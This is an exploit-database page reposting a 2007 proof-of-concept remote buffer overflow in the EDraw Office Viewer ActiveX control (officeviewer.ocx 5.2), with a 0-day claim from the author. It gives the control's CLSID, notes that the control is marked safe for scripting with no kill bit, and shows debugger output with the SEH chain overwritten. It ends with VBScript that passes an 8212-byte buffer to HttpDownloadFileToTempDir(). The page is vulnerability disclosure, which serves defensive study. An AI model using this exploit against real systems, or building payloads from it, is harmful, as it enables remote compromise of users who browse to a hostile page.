EDraw Office Viewer Component 5.2 ActiveX Remote BoF PoC

🗓️ 08 Sep 2007 00:00:00Reported by RootType
0-day EDraw Office Viewer Component 5.2 Buffer Overflow Proof of Concept Remote Exploi

                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;--------------------------------------------------------------------------------------------------------------
&nbsp;&lt;b&gt;0-day&nbsp;EDraw&nbsp;Office&nbsp;Viewer&nbsp;Component&nbsp;5.2&nbsp;(officeviewer.ocx&nbsp;v.&nbsp;5.2.218.1)&nbsp;&quot;HttpDownloadFileToTempDir()&quot;
&nbsp;Remote&nbsp;Buffer&nbsp;Overflow&lt;/b&gt;
&nbsp;url:&nbsp;http://www.ocxt.com/officeviewer.php

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org
&nbsp;
&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;be&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.
&nbsp;
&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7
&nbsp;all&nbsp;software&nbsp;that&nbsp;use&nbsp;this&nbsp;ocx&nbsp;are&nbsp;vulnerable&nbsp;to&nbsp;this&nbsp;exploits.

&nbsp;&lt;b&gt;This&nbsp;ActiveX&nbsp;is&nbsp;marked&nbsp;as:
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;True
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;True
&nbsp;Implements&nbsp;IObjectSafety:&nbsp;True
&nbsp;IDisp&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,&nbsp;data
&nbsp;IPStorage&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,&nbsp;data
&nbsp;KillBitSet:&nbsp;False&lt;/b&gt;

&nbsp;Even&nbsp;this&nbsp;time,&nbsp;shinnai&nbsp;is&nbsp;not&nbsp;credited&nbsp;for&nbsp;bug&nbsp;finding&nbsp;but&nbsp;they&nbsp;wrote:
&nbsp;&quot;3.&nbsp;Changes&nbsp;the&nbsp;Insecure&nbsp;Method&nbsp;.void&nbsp;HttpDownloadFile(WebUrl,&nbsp;LocalFile,&nbsp;WebUsername,&nbsp;WebPassword).
&nbsp;&nbsp;to&nbsp;.BSTR&nbsp;HttpDownloadFileToTempDir(WebUrl,&nbsp;WebUsername,&nbsp;VARIANT&nbsp;WebPassword);
&nbsp;&nbsp;Now&nbsp;the&nbsp;component&nbsp;can&nbsp;only&nbsp;download&nbsp;the&nbsp;file&nbsp;to&nbsp;.Internet&nbsp;temporary&nbsp;file&nbsp;directory\OA\..
&nbsp;&nbsp;&lt;b&gt;So&nbsp;anybody&nbsp;can.t&nbsp;use&nbsp;the&nbsp;method&nbsp;to&nbsp;download&nbsp;a&nbsp;file&nbsp;then&nbsp;conver&nbsp;a&nbsp;good&nbsp;system&nbsp;file.&lt;/b&gt;&quot;

&nbsp;mmm...&nbsp;sure&nbsp;but,&nbsp;guys,&nbsp;take&nbsp;a&nbsp;look&nbsp;to&nbsp;SEH&nbsp;chain&nbsp;and&nbsp;you'll&nbsp;find&nbsp;this:

&nbsp;&lt;b&gt;SEH&nbsp;chain&nbsp;of&nbsp;thread&nbsp;000011A0,&nbsp;item&nbsp;0
&nbsp;&nbsp;Address=0172F284
&nbsp;&nbsp;SE&nbsp;handler=iexplore.00410041

&nbsp;SEH&nbsp;chain&nbsp;of&nbsp;thread&nbsp;000011A0,&nbsp;item&nbsp;1
&nbsp;&nbsp;Address=00410041
&nbsp;&nbsp;SE&nbsp;handler=00844E79&lt;/b&gt;

&nbsp;do&nbsp;you&nbsp;know&nbsp;what&nbsp;I&nbsp;mean&nbsp;;)

&nbsp;P.S.
&nbsp;encrease&nbsp;the&nbsp;number&nbsp;of&nbsp;buffer&nbsp;to&nbsp;see&nbsp;everything&nbsp;freezed
--------------------------------------------------------------------------------------------------------------


&lt;object&nbsp;classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B'&nbsp;id='test'&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;tryMe
&nbsp;&nbsp;buff&nbsp;=&nbsp;String(8212,&quot;A&quot;)
&nbsp;&nbsp;test.HttpDownloadFileToTempDir&nbsp;buff,&quot;defaultV&quot;,&quot;defaultV&quot;
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
08 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1